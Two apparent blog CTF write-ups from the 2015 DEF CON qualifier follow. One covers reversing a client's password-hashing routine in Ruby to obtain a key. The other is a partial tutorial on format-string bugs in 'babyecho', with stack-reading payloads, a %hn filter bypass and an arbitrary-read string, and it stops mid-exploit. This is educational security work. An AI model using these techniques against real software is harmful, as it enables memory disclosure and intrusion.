    If you wnat to follow along, I uploaded all my work to my Github page, including a program called server.rb that more or less simulates the server. It's written in Ruby, obviously, and simulates all the responses. The real client can't actually read the flag from it, though, and I can't figure out why (and spent way too much time last night re-reversing the client binary before realizing it doesn't matter).

    Anyway, when you run the client, it asks for an ip address:

    $ ./client
    need IP
    

    The competition gives you a target, so that's easy (note that most of this is based on my own server.rb, not the real one, which I re-created from packet captures:

    $ ./client 52.74.123.29
    Socket created
    Enter message : Hello
    nope...Hello
    

    If you look at a packet capture of this, you'll see that a connection is made but nothing is sent or received. Local checks are best checks!

    All right.. time for some reversing! I open up the client program in IDA, and go straight to the Strings tab (Shift-F12). I immediately see "Enter message :" so I double click it and end up here:

    .rodata:080490F5 ; char aEnterMessage[]
    .rodata:080490F5 aEnterMessage   db 'Enter message : ',0 ; DATA XREF: main+178o
    .rodata:08049106 aHackTheWorld   db 'hack the world',0Ah,0 ; DATA XREF: main+1A7o
    .rodata:08049116 ; char aNope_[]
    .rodata:08049116 aNope___S       db 'nope...%s',0Ah,0    ; DATA XREF: main+1CAo
    

    Could it really be that easy?

    The answer, for a change, is yes:

    $ ./client 52.74.123.29
    Socket created
    Enter message : hack the world
    << connection ID: nuc EW1A IQr^2&
    
    
    *** Welcome to the ACME data retrieval service ***
    what version is your client?
    
    << hello...who is this?
    <<
    
    << enter user password
    
    << hello grumpy, what would you like to do?
    <<
    
    << grumpy
    mrvito
    gynophage
    selir
    jymbolia
    sirgoon
    duchess
    deadwood
    hello grumpy, what would you like to do?
    
    << the key is not accessible from this account. your administrator has been notified.
    <<
    hello grumpy, what would you like to do?
    

    Then it just sits there.

    I logged the traffic with Wireshark and it looks like this (blue = incoming, red = outgoing, or you can just download my pcap):

    connection ID: Je@/b9~A>Xa'R-
    
    
    *** Welcome to the ACME data retrieval service ***
    what version is your client?
    version 3.11.54
    hello...who is this?grumpy
    
    enter user password
    H0L31
    hello grumpy, what would you like to do?
    list users
    grumpy
    mrvito
    gynophage
    selir
    jymbolia
    sirgoon
    duchess
    deadwood
    hello grumpy, what would you like to do?
    print key
    the key is not accessible from this account. your administrator has been notified.
    hello grumpy, what would you like to do?
    

    Connection IDs and passwords

    I surmised, based on this, that the connection id was probably random (it looks random) and that the password is probably hashed (poorly) and not replay-able (that'd be too easy). Therefore, the password is probably based on the connection id.

    To verify the first part, I ran a capture a second time:

    connection ID: #2^1}P>JAqbsaj
    [...]
    hello...who is this?
    grumpy
    enter user password
    V/%S:
    

    Yup, it's different!

    I did some quick digging in IDA and found a function - sub_8048EAB - that was called with "grumpy" and "1" as parameters, as well as a buffer that would be sent to the server. It looked like it did some arithmetic on "grumpy" - which is presumably a password, and it touched a global variable - byte_804BC70 - that, when I investigated, turned out to be the connection id. The function was called from a second place, too, but we'll get to that later!

    So now we've found a function that looks at the password and the connection id. That sounds like the hashing function to me (and note that I'm using the word "hashing" in its literal sense, it's obviously not a secure hash)! I could have used a debugger to verify that it was actually returning a hashed password, but the clock was ticking and I had to make some assumptions in order to keep moving - if the the assumptions turned out to be wrong, I wouldn't have finished the level, but I wouldn't have finished it either if I verified everything.

    I wasn't entirely sure what had to be done from here, but it seemed logical to me that reverse engineering the password-hashing function was something I'd eventually have to do. So I got to work, figuring it couldn't hurt!

    Reversing the hashing function

    There are lots of ways to reverse engineer a function. Frequently, I take a higher level view of what libc/win32 functions it calls, but sub_8048EAB doesn't call any functions. Sometimes I'll try to understand the code, mentally, but I'm not super great at that. So I used a variation of this tried-and-true approach I often use for crypto code:

    1. Reverse each line of assembly to exactly one line of C
    2. Test it against the real version, preferably instrumented so I can automatically ensure that it's working properly
    3. While the output of my code is different from the output of their code, use a debugger (on the binary) and printf statements (on your implementation) to figure out where the problem is - this usually takes the most of my time, because there are usually several mistakes
    4. With the testing code still in place, simplify the C function as much as you can

    Because I only had about an hour to reverse this, I had to cut corners. I reversed it to Ruby instead of C (so I wouldn't have to deal with sockets in C), I didn't set up proper instrumentation and instead used Wireshark, and I didn't simplify anything till afterwards. In the end, I'm not sure whether this was faster or slower than doing it "right", but it worked so I can't really complain.

    Version 1

    As I said, the first thing I do is translate the code directly, line by line, to assembly. I had to be a little creative with loops and pointers because I can't just use goto and cast everything to an integer like I would in C, but this is what it looked like. Note that I've fixed all the bugs that were in the original version - there were a bunch, but it didn't occur to me to keep the buggy code - I did, however, leave in the printf-style statements I used for debugging!

    # mode = 1 for passwords, 7 for keys
    def hash_password(password, connection_id, mode)
    # mov     eax, [ebp+password]
      eax = password
    
    # mov     [ebp+var_2C], eax
      var_2c = eax
    
    # mov     eax, [ebp+buffer]
      eax = ""
    
    # mov     [ebp+var_30], eax
      var_30 = ""
    
    # xor     eax, eax
      eax = 0
    
    # mov     ecx, ds:g_connection_id_plus_7 ; 0x0000007d, but changes
      ecx = connection_id[7]
      #puts('%x' % ecx.ord)
    
    # mov     edx, 55555556h
      edx = 0x55555556
    # mov     eax, ecx
      eax = ecx
    # imul    edx
      #puts("imul")
      #puts("%x" % eax.ord)
      #puts("%x" % edx)
      edx = ((eax.ord * edx) >> 32)
      #puts("%x" % edx)
    # mov     eax, ecx
      eax = ecx
    # sar     eax, 1Fh
      #puts("sar")
      #puts("%x" % eax.ord)
      eax = eax.ord >> 0x1F
      #puts("%x" % eax)
    # mov     ebx, edx
      ebx = edx
    # sub     ebx, eax
      ebx -= eax
      #puts("sub")
      #puts("%x" % ebx)
    # mov     eax, ebx
      eax = ebx
    # mov     [ebp+var_18], eax
      var_18 = eax
    # mov     edx, [ebp+var_18]
      edx = var_18
    # mov     eax, edx
      eax = edx
    # add     eax, eax
      eax = eax * 2
    # add     eax, edx
      eax = eax + edx
    
      #puts("")
      #puts("%x" % eax)
    # mov     edx, ecx
      edx = ecx
    # sub     edx, eax
      #puts()
      #puts("%x" % ecx.ord)
      #puts("%x" % edx.ord)
      edx = edx.ord - eax
      #puts("%x" % edx)
    # mov     eax, edx
      eax = edx
    # mov     [ebp+var_18], eax
      var_18 = eax
      #puts()
      #puts("%x" % var_18)
    # mov     eax, dword_804B04C
      eax = mode
    # add     [ebp+var_18], eax
      var_18 += eax
      #puts("%x" % eax)
    # mov     edx, offset g_connection_id ; <--
      edx = connection_id
    # mov     eax, [ebp+var_18]
      eax = var_18
    # add     eax, edx
    # mov     dword ptr [esp+8], 5 ; n
    # mov     [esp+4], eax    ; src
    # lea     eax, [ebp+dest]
    # mov     [esp], eax      ; dest
    # call    _strncpy
      dest = connection_id[var_18, 5]
      #puts(dest)
    # mov     [ebp+var_1C], 0
      var_1c = 0
    
    # jmp     short loc_8048F4A
    # loc_8048F2A:                            ; CODE XREF: do_password+A3j
      0.upto(4) do |var_1c|
    #   mov     eax, [ebp+var_1C]
        eax = var_1c
    #   add     eax, [ebp+var_30]
        # XXX
    #   lea     edx, [ebp+dest]
        edx = dest
    
    #   add     edx, [ebp+var_1C]
    #   movzx   ecx, byte ptr [edx]
        ecx = edx[var_1c]
    #   mov     edx, [ebp+var_1C]
        edx = var_1c
    
    #   add     edx, [ebp+var_2C]
    #   movzx   edx, byte ptr [edx]
        edx = var_2c[var_1c]
    
    #   xor     edx, ecx
        edx = edx.ord ^ ecx.ord
    #   mov     [eax], dl
        edx &= 0x0FF
        var_30[var_1c] = (edx & 0x0FF).chr
    
    #   add     [ebp+var_1C], 1
    #
    #   loc_8048F4A:                            ; CODE XREF: do_password+7Dj
    #   cmp     [ebp+var_1C], 4
    #   jle     short loc_8048F2A
      end
    
      #puts()
    
      return var_30
    end
    

    After I got it working and returning the same value as the real implementation, I had a problem! The value I returned - even though it matched the real program - wasn't quite right! It had a few binary characters in it, whereas the value sent across the network never did. I looked around and found the function - sub_8048F67 - that actually sends the password to the server. It turns out, that function replaces all the low- and high-ASCII characters with proper ones (the added lines are in bold):

    # mode = 1 for passwords, 7 for keys
    def hash_password(password, connection_id, mode)
    # mov     eax, [ebp+password]
      eax = password
    
    # mov     [ebp+var_2C], eax
      var_2c = eax
    
    # mov     eax, [ebp+buffer]
      eax = ""
    
    # mov     [ebp+var_30], eax
      var_30 = ""
    
    # xor     eax, eax
      eax = 0
    
    # mov     ecx, ds:g_connection_id_plus_7 ; 0x0000007d, but changes
      ecx = connection_id[7]
      #puts('%x' % ecx.ord)
    
    # mov     edx, 55555556h
      edx = 0x55555556
    # mov     eax, ecx
      eax = ecx
    # imul    edx
      #puts("imul")
      #puts("%x" % eax.ord)
      #puts("%x" % edx)
      edx = ((eax.ord * edx) >> 32)
      #puts("%x" % edx)
    # mov     eax, ecx
      eax = ecx
    # sar     eax, 1Fh
      #puts("sar")
      #puts("%x" % eax.ord)
      eax = eax.ord >> 0x1F
      #puts("%x" % eax)
    # mov     ebx, edx
      ebx = edx
    # sub     ebx, eax
      ebx -= eax
      #puts("sub")
      #puts("%x" % ebx)
    # mov     eax, ebx
      eax = ebx
    # mov     [ebp+var_18], eax
      var_18 = eax
    # mov     edx, [ebp+var_18]
      edx = var_18
    # mov     eax, edx
      eax = edx
    # add     eax, eax
      eax = eax * 2
    # add     eax, edx
      eax = eax + edx
    
      #puts("")
      #puts("%x" % eax)
    # mov     edx, ecx
      edx = ecx
    # sub     edx, eax
      #puts()
      #puts("%x" % ecx.ord)
      #puts("%x" % edx.ord)
      edx = edx.ord - eax
      #puts("%x" % edx)
    # mov     eax, edx
      eax = edx
    # mov     [ebp+var_18], eax
      var_18 = eax
      #puts()
      #puts("%x" % var_18)
    # mov     eax, dword_804B04C
      eax = mode
    # add     [ebp+var_18], eax
      var_18 += eax
      #puts("%x" % eax)
    # mov     edx, offset g_connection_id ; <--
      edx = connection_id
    # mov     eax, [ebp+var_18]
      eax = var_18
    # add     eax, edx
    # mov     dword ptr [esp+8], 5 ; n
    # mov     [esp+4], eax    ; src
    # lea     eax, [ebp+dest]
    # mov     [esp], eax      ; dest
    # call    _strncpy
      dest = connection_id[var_18, 5]
      #puts(dest)
    # mov     [ebp+var_1C], 0
      var_1c = 0
    
    # jmp     short loc_8048F4A
    # loc_8048F2A:                            ; CODE XREF: do_password+A3j
      0.upto(4) do |var_1c|
    #   mov     eax, [ebp+var_1C]
        eax = var_1c
    #   add     eax, [ebp+var_30]
        # XXX
    #   lea     edx, [ebp+dest]
        edx = dest
    
    #   add     edx, [ebp+var_1C]
    #   movzx   ecx, byte ptr [edx]
        ecx = edx[var_1c]
    #   mov     edx, [ebp+var_1C]
        edx = var_1c
    
    #   add     edx, [ebp+var_2C]
    #   movzx   edx, byte ptr [edx]
        edx = var_2c[var_1c]
    
    #   xor     edx, ecx
        edx = edx.ord ^ ecx.ord
    #   mov     [eax], dl
        edx &= 0x0FF
    
        #puts("before edx = %x" % edx)
        if(edx < 0x1f)
          #puts("a")
          edx += 0x20
        elsif(edx > 0x7F)
          edx = edx - 0x7E + 0x20
        end
        #puts("after edx = %x" % edx)
    
        var_30[var_1c] = (edx & 0x0FF).chr
    
    #   add     [ebp+var_1C], 1
    #
    #   loc_8048F4A:                            ; CODE XREF: do_password+7Dj
    #   cmp     [ebp+var_1C], 4
    #   jle     short loc_8048F2A
      end
    
      #puts()
    
      return var_30
    end
    

    As you can see, it's quite long and difficult to follow. But, now that the bugs were fixed, it was outputting the same thing as the real version! I set it up to log in with the username 'grumpy' and the password 'grumpy' and it worked great!

    Cleaning it up

    I didn't actually clean up the code until after the competition, but here's the step-by-step cleanup that I did, just so I could blog about it.

    First, I removed all the comments:

    def hash_password_phase2(password, connection_id, mode)
      eax = password
      var_2c = eax
      eax = ""
      var_30 = ""
      eax = 0
      ecx = connection_id[7]
      edx = 0x55555556
      eax = ecx
      edx = ((eax.ord * edx) >> 32)
      eax = ecx
      eax = eax.ord >> 0x1F
      ebx = edx
      ebx -= eax
      eax = ebx
      var_18 = eax
      edx = var_18
      eax = edx
      eax = eax * 2
      eax = eax + edx
    
      edx = ecx
      edx = edx.ord - eax
      eax = edx
      var_18 = eax
      eax = mode
      var_18 += eax
      edx = connection_id
      eax = var_18
      dest = connection_id[var_18, 5]
      var_1c = 0
    
      0.upto(4) do |var_1c|
        eax = var_1c
        edx = dest
        ecx = edx[var_1c]
        edx = var_1c
        edx = var_2c[var_1c]
        edx = edx.ord ^ ecx.ord
        edx &= 0x0FF
        if(edx < 0x1f)
          edx += 0x20
        elsif(edx > 0x7F)
          edx = edx - 0x7E + 0x20
        end
        var_30[var_1c] = (edx & 0x0FF).chr
      end
      return var_30
    end
    

    Then I started eliminating redundant statements:

    def hash_password_phase3(password, connection_id, mode)
      ecx = connection_id[7]
      eax = ecx
      edx = ((eax.ord * 0x55555556) >> 32)
      eax = ecx
      eax = eax.ord >> 0x1F
      eax = ((edx - (eax.ord >> 0x1F)) * 2) + edx
    
      edx = ecx
      edx = edx.ord - eax
      eax = edx
      var_18 = eax
      var_18 += mode
      edx = connection_id
      eax = var_18
      dest = connection_id[var_18, 5]
    
      result = ""
      0.upto(4) do |i|
        eax = i
        edx = dest
        ecx = edx[i]
        edx = password[i]
        edx = edx.ord ^ ecx.ord
        edx &= 0x0FF
        if(edx < 0x1f)
          edx += 0x20
        elsif(edx > 0x7F)
          edx = edx - 0x7E + 0x20
        end
        result << (edx & 0x0FF).chr
      end
    
      return result
    end
    

    Removed some more redundancy:

    def hash_password_phase4(password, connection_id, mode)
      char_7 = connection_id[7].ord
      edx = ((char_7 * 0x55555556) >> 32)
      eax = ((edx - (char_7 >> 0x1F >> 0x1F)) * 2) + edx
    
      result = ""
      0.upto(4) do |i|
        edx = (password[i].ord ^ connection_id[char_7 - eax + mode + i].ord) & 0xFF
    
        if(edx < 0x1f)
          edx += 0x20
        elsif(edx > 0x7F)
          edx = edx - 0x7E + 0x20
        end
        result << (edx & 0x0FF).chr
      end
    
      return result
    end
    

    And a final cleanup pass where I eliminated the "bad paths" - things that I know can't possibly happen:

    def hash_password_phase5(password, connection_id, mode)
      char_7 = connection_id[7].ord
    
      result = ""
      0.upto(4) do |i|
        edx = password[i].ord ^ connection_id[i + char_7 - (((char_7 * 0x55555556) >> 32) * 3) + mode].ord
        if(edx < 0x1f)
          edx += 0x20
        elsif(edx > 0x7F)
          edx = edx - 0x7E + 0x20
        end
        result << edx.chr
      end
    
      return result
    end
    
    

    And that's the final product! Remember, at each step of the way I was testing and re-testing to make sure it worked for a few dozen test strings. That's important because it's really, really easy to miss stuff.

    The rest of the level

    Now, getting back to the level...

    As we saw above, after logging in, the real client sends "list users" then "print key". "print key" fails because the user doesn't have administrative rights, so presumably one of the users printed out on the "list users" page does.

    I went through and manually entered each user into the program, with the same username as password (seemed like the thing to do, since grumpy's password was "grumpy") until I reached the user "duchess". When I tried "duchess", I got the prompt:

    challenge: /\&[$
    answer?
    

    When I was initially reversing the password hashing, I noticed that the hash_password() function was called a second time near the strings "challenge:" and "answer?"! The difference was that instead of passing the integer 1 as the mode, it passed 7. So I tried calling hash_password('/\&[$', connection_id, 7) and got the response, "<=}-^".

    I sent that, and the key came back! Here's the full session:

    connection ID: Tk8)k)e3a[vzN^
    
    
    *** Welcome to the ACME data retrieval service ***
    what version is your client?
    version 3.11.54
    hello...who is this?
    duchess
    enter user password
    /MJ#L
    hello duchess, what would you like to do?
    print key
    challenge: /\&[$
    answer?
    <=}-^
    the key is: The only easy day was yesterday. 44564
    

    I submitted the key with literally three minutes to go. I was never really sure if I was doing the right thing at each step of the way, but it worked!

    An alternate solution

    If I'd had the presence of mind to realize that the username would always be the password, there's another obvious solution to the problem that probably would have been a whole lot easier.

    The string "grumpy" (as both the username and the password) is only read in three different places in the binary. It would have been fairly trivial to:

    1. Find a place in the binary where there's some room (right on top of the old "grumpy" would be fine)
    2. Put the string "duchess" in this location (and the other potential usernames if you don't yet know which one has administrative access)
    3. Patch the three references to "grumpy" to point to the new string instead of the old one - unfortunately, using a new location instead of just overwriting the strings is necessary because "duchess" is longer than "grumpy" so there's no room
    4. Run the program and let it get the key itself

    That would have been quicker and easier, but I wasn't confident enough that the usernames and passwords would be the same, and I didn't want to risk going down the wrong path with almost no time left, so I decided against trying that.

    Conclusion

    This wasn't the most exciting level I've ever done, but it was quick and gave me the opportunity to do some mildly interesting reverse engineering.

    The main idea was to show off my process - translate line by line, instrument it, debug till it works, then refactor and reduce and clean up the code!

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### Defcon Quals: babyecho (format string vulns in gory detail) » SkullSecurity


    Defcon Quals: babyecho (format string vulns in gory detail)

    Welcome to the third (and penultimate) blog post about the 2015 Defcon Qualification CTF! This is going to be a writeup of the "babyecho" level, as well as a thorough overview of format-string vulnerabilities! I really like format string vulnerabilities - they're essentially a "read or write anywhere" primitive - so I'm excited to finally write about them!

    You can grab the binary here, and you can get my exploit and some other files on this Github repo.

    How printf works

    Before understanding how a format string vulnerability works, we first have to understand what a format string is. This is a pretty long and detailed section (can you believe I initially wrote "this will be quick" before I got going?), but if you have a decent idea of how the stack and how printf() work, then you can go ahead and skip to the next section.

    So... what is a format string exactly? A format string is something you see fairly frequently in code, and looks like this:

    printf("The total of %s is %d", str, num);
    

    Essentially, there are a bunch of functions in libc and elsewhere - printf(), sprintf(), and fprintf() to name a few - that require a format string and then 0 or more arguments. In the case of above, the format string is "The total of %s is %d" and the parameters are "str" and "num". The printf() function replaces the %s with the first argument - a pointer to a string - and %d with the second argument - an integer.

    To understand how this works, it helps to understand how the stack works. Check out my post on r0pbaby if you want more general information on stacks (this is going to be targeted specifically at how printf() uses it).

    Let's jump right in and look at what the assembly version of that code snippit might look like:

    push num
    push str
    push "The total of %s is %d" ; you can't actually do this in assembly
    call printf
    add esp, 0x0c
    

    Essentially, this code pushes three arguments onto the stack - the same three arguments that you would pass to printf() in C - for a total of 12 bytes (we're assuming x86 here, but x64 works almost identically). Then it calls printf(). After printf() does its thing and returns, 0x0c (12) is added to the stack - essentially removing the three variables that were pushed (three pushes = 12 bytes onto the stack, subtracting 12 = 12 bytes off the stack).

    When printf() starts, it doesn't technically know how many arguments it received. Much like when we discuss ROP (return-oriented programming), the important thing is this: when we reach line 1 of printf(), printf() assumes everything is set up properly. It doesn't know how many arguments were passed, and it doesn't know where it was called from - it just knows that it's starting and it's supposed to do its thing, otherwise people will be upset.

    So when printf() runs, it grabs the format string from the stack. It looks at how many format specifiers ("%d"/"%s"/etc.) it has, and starts reading them off the stack. It doesn't care if nobody put them there - as far as printf() is concerned, the stack is just a bunch of data, and it can read as far up into the data as it wants (till it hits the end).

    So let's say you do this (and I challenge you to find me a C programmer who hasn't at some point):

    $ cat > test.c
    
    #include <stdio.h>
    
    int main(int argc, const char *argv[])
    {
      printf("%x %x %x\n");
    
      return 0;
    }
    

    Then compile it:

    $ make test
    cc     test.c   -o test
    test.c: In function ‘main’:
    test.c:5:3: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat]
    test.c:5:3: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat]
    test.c:5:3: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat]
    

    Notice that gcc complains that you're doing it wrong, but they're only warnings! It's perfectly happy to let you try.

    Then run the program and marvel at the results:

    $ ./test
    ffffd9d8 ffffd9e8 40054a
    

    Now where the heck did that come from!?

    Well, as I already mentioned, we're reading whatever happened to be on the stack! Let's look at it one more way before we move on: we'll use a stack diagram like we did in r0pbaby to explain things.

    Let's say you have a function called func_a(). func_a() might look like this:

    int func_a(int param_b, int param_c)
    {
      int local_d = 0x123;
      char local_e[12] = "AAAABBBBCCCC";
    
      printf("%x %x %x %x %x %x %x\n");
    }
    

    When func_a() is called by another function, in assembly, it'll look like this:

    ; In C --> func_a(1000, 10);
    push 10
    push 1000
    call func_a
    add esp, 8
    

    and the stack will look like this immediately after the call to func_a() is made (in other words, when it's on the first line of func_a()):

    +----------------------+
    |...higher addresses...|
    +----------------------+
    |...data from caller...|
    +----------------------+
    +----------------------+
    |          10          | <-- param_c
    +----------------------+
    |         1000         | <-- param_b
    +----------------------+
    |     [return addr]    | <-- esp points here
    +----------------------+
    +----------------------+
    |.....unallocated......|
    +----------------------+
    |...lower addresses....| <-- other data from previous function
    +----------------------+
    

    func_a() will look something like this:

    func_a:
      push ebp         ; Back up the old frame pointer
      mov ebp, esp     ; Create the new frame pointer
      sub esp, 0x10    ; Make room for 16 bytes of local vars
    
      mov [ebp-0x04], 0x123 ; Set a local var to 123
      mov [ebp-0x08], 0x41414141 ; "AAAA"
      mov [ebp-0x0c], 0x42424242 ; "BBBB"
      mov [ebp-0x10], 0x43434343 ; "CCCC"
    
      ; format_string would be stored elsewhere, like in .data
      push format_string ; "%x %x %x %x %x %x %x\n"
      call printf      ; Call printf
      add esp, 4       ; Remove the format string from the stack
    
      add esp, 0x10    ; Get rid of the locals from the stack
      pop ebp          ; Restore the previous frame pointer
      ret              ; Return
    

    It's important to note: this is assuming a completely naive compilation, which basically never happens. In reality, a few things would change; for example, local_e may be initialized differently (and likely be padded to 0x10 bytes), plus there will probably be some saved registers taking up space. That being said, the principles won't change - you might just have to mess around with addresses and experiment with the function.

    Looking at that code, you might see that the start and the end of the function are more or less mirrors of each other. It starts by saving ebp and making room on the stack, and ends with getting rid of the room and restoring the saved ebp.

    What's important, though, is what the stack looks like at the moment we call printf(). This is it:

    +----------------------+
    |...higher addresses...|
    +----------------------+
    |...data from caller...|
    +----------------------+
    +----------------------+
    |          10          | <-- param_c
    +----------------------+
    |         1000         | <-- param_b
    +----------------------+
    |     [return addr]    |
    +----------------------+
    |      [saved ebp]     | <-- From the "push ebp"
    +----------------------+
    |       0x123          | <-- local_d
    +----------------------+
    |        CCCC          |
    |        BBBB          | <-- local_e (12 bytes)
    |        AAAA          |        (remember, higher addresses are upwards)
    +----------------------+
    +----------------------+
    |    format_string     | <-- format string was pushed onto the stack
    +----------------------+ <-- esp points here
    |.....unallocated......|
    +----------------------+
    |...lower addresses....| <-- other data from previous function
    +----------------------+
    

    When printf() is called, its return address is pushed onto the stack, and it does whatever it needs to do with its own local variables. But here's the kicker: it thinks it has arguments on the stack! Here's printf()'s view of the function:

    +----------------------+
    |...higher addresses...|
    +----------------------+
    |...data from caller...|
    +----------------------+
    +----------------------+
    |          10          |
    +----------------------+
    |         1000         | <-- seventh format parameter
    +----------------------+
    |     [return addr]    | <-- sixth format parameter
    +----------------------+
    |      [saved ebp]     | <-- fifth format parameter
    +----------------------+
    |       0x123          | <-- fourth format parameter
    +----------------------+
    |        CCCC          | <-- third format parameter
    |        BBBB          | <-- second format parameter
    |        AAAA          | <-- first format parameter
    +----------------------+
    +----------------------+
    |    format_string     | <-- format string was pushed onto the stack
    +----------------------+
    |     [return addr]    | <-- printf's return address
    +----------------------+ <-- esp points somewhere down here
    |...lower addresses....| <-- other data from previous function
    +----------------------+
    

    So what's printf going to do? It's going to print "0x41414141" ("AAAA"), then "0x42424242" ("BBBB"), then "0x43434343" ("CCCC"), then "0x123", then the saved ebp value, then the return address, then "0x3e8" (1000).

    Why's printf() doing that? Because it doesn't know any better. You told it (in the format string) that it has arguments, so it thinks it has arguments!

    Just for fun, I decided to try running the program to see how close I was:

    $ cat > test.c
    #include <stdio.h>
    
    int func_a(int param_b, int param_c)
    {
      int local_d = 0x123;
      char local_e[12] = "AAAABBBBCCCC";
    
      printf("%x %x %x %x %x %x %x\n");
    }
    
    int main(int argc, const char *argv[])
    {
      func_a(1000, 10);
    
      return 0;
    }
    $ make test
    cc test.c   -o test
    $ ./test
    80495e4 fffffc68 80482c8 41414141 42424242 43434343 123
    

    End result: I was closer than I thought I'd be! There are three pointers (it looks like two pointers within the binary and one from the stack, if I had to guess) that come from who-knows-where, but the rest is there. I added five more "%x"s to the string to see if we could get the parameters:

    $ ./test
    80495f8 fffffc68 80482c8 41414141 42424242 43434343 123 b7fcc304 b7fcbff4 fffffc98 8048412 3e8 a
    

    There we go! We can see 0x3e8 (the first parameter, 1000), 0xa (the second parameter, 10), then 0x8048412 (which will be the return address) and 0xfffffc98 (which will be the saved ebp value). The two unknown values after (0xb7fcbff4 and 0xb7fcc304) are likely saved registers, which I confirmed with objdump:

    $ objdump -D -M intel test
    [...]
      40054a:       55                      push   rbp
      40054b:       48 89 e5                mov    rbp,rsp
      40054e:       48 83 ec 20             sub    rsp,0x20
      400552:       89 7d ec                mov    DWORD PTR [rbp-0x14],edi
      400555:       89 75 e8                mov    DWORD PTR [rbp-0x18],esi
      400558:       c7 45 fc 23 01 00 00    mov    DWORD PTR [rbp-0x4],0x123
    [...]
    

    printf() - the important bits

    We've seen how to read off the stack with a format-string vulnerability. What else can we do? At this point, we'll switch to the binary from the game for the remainder of the testing.

    The game binary is really easy.. it's a pretty standard format string vulnerability:

    $ ./babyecho
    Reading 13 bytes
    hello
    hello
    Reading 13 bytes
    %x
    d
    Reading 13 bytes
    %x %x %x
    d a 0
    Reading 13 bytes
    %x%x%x%x %x
    da0d fffff87c
    

    Basically, it's doing printf(attacker_str) - simple, but a vulnerability. The right way to do it is printf("%s", atatcker_str) - that way, attacker_str won't be mistaken for a format string.

    The first important bit is that, with just that simple mistake in development, we can crash the binary:

    $ ./babyecho
    Reading 13 bytes
    %s
    Segmentation fault (core dumped)
    

    And we can read strings:

    Reading 13 bytes
    %x%x%x%x %x
    da0d fffff87c
    $ ./babyecho
    Reading 13 bytes
    %x%x%x%x %s
    da0d %x%x%x%x %s
    

    ...confusingly, the string at 0xfffff87c was a pointer to the format string itself.

    And, with %n, we can crash another way:

    Reading 13 bytes
    %x%x%x%x %n
    da0d _n
    

    ...or can we? It looks like the level filtered out %n! But, of course, we can get around that if we want to:

    $ ./babyecho
    Reading 13 bytes
    %n
    _n
    Reading 13 bytes
    %hn
    Segmentation fault (core dumped)
    

    So we have that in our pocket if we need it. Let's talk about %n for a minute...

    %n? Who uses that?

    If you're a developer, you've most likely seen and used %d and %s. You've probably also seen %x and %p. But have you ever heard of %n?

    As far as I can tell, %n was added to printf() specifically to make it possible to exploit format string vulnerabilities. I don't see any other use for it, really.

    %n calculates the number of bytes printf() has output so far, and writes it to the appropriate variable. In other words, this:

    int a;
    printf("%n", &a);
    

    will write 0 to the variable a, because nothing has been output. This code:

    int a;
    printf("AAAA%n", &a);
    

    will write 4 to the variable a. And this:

    printf("%100x%n");
    

    will write the number 100 (%100x outputs a 100-byte hex number whose value is whatever happens to be next on the stack) to the address that happens to be second on the stack (right after the format string). If it's a valid address, it writes to that memory address. If it's an invalid address, it crashes.

    Guess what? That's basically an arbitrary memory write. We'll see more later!

    Cramming bytes in

    Now, let's talk about how we're only allowed 13 bytes for the challenge ("Reading 13 bytes"). 13 bytes isn't enough to do a proper format string exploit in many cases (sometimes it is!). To do a proper exploit, you need to be able to provide an address (4 bytes on 32-bit), %NNx to waste bytes (4-5 more bytes), and then %N$n (another 4-5 bytes). That's a total of 12 bytes in the best case. And, for reasons that'll become abundantly clear, you have to do it four times.

    That means we need a way to input longer strings! Thankfully, a 13-byte format string IS long enough to write a single byte to anywhere in memory. We'll do that in the next section, but first I want to introduce another printf() feature that was probably designed for hackers: %123$x.

    %123$x means "read the 123rd argument". The idea is that this is inefficient:

    printf("The value is %d [0x%02x]\n", value, value);
    

    so instead, you can save 4 bytes of stack memory (otherwise known as approximately 0.0000000125% of my total memory) and a push operation (somewhere around 1 clock cycle on my 3.2mhz machine) by making everything a little more confusing:

    printf("The value is %d [0x%1$02x]\n", value);
    

    Seriously, that actually works. You can try it!

    The cool thing about that is instead of only being able to access six stack elements ("%x%x%x%x%x%x%"), we can read any variable on the stack! Check out how much space it saves:

    Reading 13 bytes
    %x%x%x%x %x
    da0d ffffc69c
    Reading 13 bytes
    %5$x
    ffffc69c
    

    Starting to build the exploit

    Let's write a quick bash script to print off %1$x, %2$x, %3$x, ...etc:

    $ for i in `seq 1 200`; do echo -e "$i:0x%$i\$x" | ./babyecho; done | grep -v Reading | grep -v '0x0$'
    1:0xd
    2:0xa
    4:0xd
    5:0xffffc69c
    7:0x78303a37
    8:0x78243825
    135:0xffffc98c
    136:0x8048034
    138:0x80924d1
    139:0x80704fd
    140:0xffffc90a
    154:0x80ea570
    155:0x18
    157:0x2710
    158:0x14
    159:0x3
    160:0x28
    161:0x3
    163:0x38
    165:0x5b
    167:0x6e
    169:0x77
    171:0x7c
    175:0x80ea540
    ...
    

    If you run it a second time and any values change, be sure you turn off ASLR. It's totally possible to write an exploit for this challenge that assumes ASLR is on, but it's easier to explain one thing at a time. :)

    Arbitrary memory read

    The values at offset 7 and 8 are actually interesting.. let's take a quick look at them:

    $ ./babyecho
    Reading 13 bytes
    %7$x
    78243725
    

    What's going on here?

    It's printing the hex number 0x78243725, which is the 7th thing on the stack. Since it's little endian, that's actually "25 37 24 78" in memory, which, if you know your ASCII, is "%7$x". That looks a bit familiar, eh? The first 4 bytes of the string?

    Let's try making the first 4 bytes of the string something more recognizable:

    $ ./babyecho
    Reading 13 bytes
    AAAA -> %7$x
    AAAA -> 41414141
    Reading 13 bytes
    ABCD -> %7$x
    ABCD -> 44434241
    

    So it's printing the first 4 bytes of itself! That's extremely important, because if we now change %...x to %...s, we get:

    $ ulimit -c unlimited
    $ echo -e 'AAAA%7$s' | ./babyecho
    
    Reading 13 bytes
    Segmentation fault (core dumped)
    

    ...a crash! And if we investigate the crash:

    $ gdb -q ./babyecho ./core
    Core was generated by `./babyecho'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x0807f134 in ?? ()
    (gdb) x/i $eip
    => 0x807f134:   repnz scas al,BYTE PTR es:[edi]
    (gdb) print/x $edi
    $1 = 0x41414141
    

    We determine that it crashed while trying to read edi, which is 0x41414141. And we can use any address we want - for example, I grabbed a random string from IDA - 0x080C1B94 - so let's encode that in little endian and use it:

    $ echo -e '\x94\x1b\x0c\x08%7$s' | ./babyecho
    Reading 13 bytes
    ../sysdeps/unix/sysv/linux/getcwd.c
